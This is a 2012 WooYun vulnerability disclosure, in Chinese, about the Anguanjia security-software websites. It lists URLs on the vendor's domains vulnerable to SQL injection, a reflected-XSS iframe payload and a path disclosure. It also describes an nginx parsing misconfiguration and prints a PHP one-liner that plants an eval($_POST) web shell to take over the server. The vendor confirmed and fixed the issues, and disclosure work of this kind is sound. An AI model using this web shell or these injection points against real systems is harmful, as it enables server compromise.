漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-04420
漏洞标题：安全管家网站漏洞大全
相关厂商：安全管家
漏洞作者： 歌颂
提交时间：2012-02-11 15:30
修复时间：2012-03-27 15:30
公开时间：2012-03-27 15:30
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-02-11： 细节已通知厂商并且等待厂商处理中
2012-02-14： 厂商已经确认，细节仅向厂商公开
2012-02-24： 细节向核心白帽子及相关领域专家公开
2012-03-05： 细节向普通白帽子公开
2012-03-15： 细节向实习白帽子公开
2012-03-27： 细节向公众公开
简要描述：
多个注射+nginx配置不当，直接getshell
详细说明：
- 117.135.130.111 -[5] - nginx/0.9.3
http://bbs.anguanjia.com
http://bbs.aqgj.cn
http://wap.anguanjia.com
http://www.anguanjia.com
http://www.anquanguanjia.com
后台
http://www.aqgj.cn/admin/login.htm
官网注入
http://www.aqgj.cn/job_content.php?id=15
http://www.aqgj.cn/plug/search_cont.php?id=19
盲注
http://www.aqgj.cn/countfriendlink.php?id=58&link=
搜索反射xss （顺便提提，可以忽略）
http://www.aqgj.cn/plug/search.php?key=%3Ciframe%20width=800px%20height=600px%20src=http://gesong.org%20%3E%3C/iframe%3E
WAP页面N个注射
http://m.aqgj.cn/wap/?a=info&id=75&m=Soft&t=x
http://m.aqgj.cn/wap/?a=down&id=254&m=Soft&softid=75&t=x
http://m.aqgj.cn/wap/?m=Soft&stid=5&t=x
路径 （不可避免，php容错关不关都可以）
http://bbs.aqgj.cn/uc_server/control/admin/db.php
- /data/nginx/html/bbs/uc_server/control/admin/db.php
还有一个nginx配置不当 （都在一个服务器，果断全军覆没）
http://bbs.aqgj.cn/static/image/common/logo.png/.php
上传任意图片，插入php代码
<?PHP fputs(fopen('x.php','w'),'<?php eval($_POST[x])?>');?>
然后访问图片/.php，直接getshell
漏洞证明：
http://www.aqgj.cn/test.txt
修复方案：
后台潜了吧，露出来多危险。
nginx配置请参考：http://www.80sec.com/nginx-securit.html
至于注射神马的，你懂的。
版权声明：转载请注明来源 歌颂@乌云
漏洞回应
厂商回应：
危害等级：低
漏洞Rank：5
确认时间：2012-02-14 14:14
厂商回复：
专业人员在核实和处理中
最新状态：
2012-02-14：已经处理
2012-03-27：处理完毕
( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)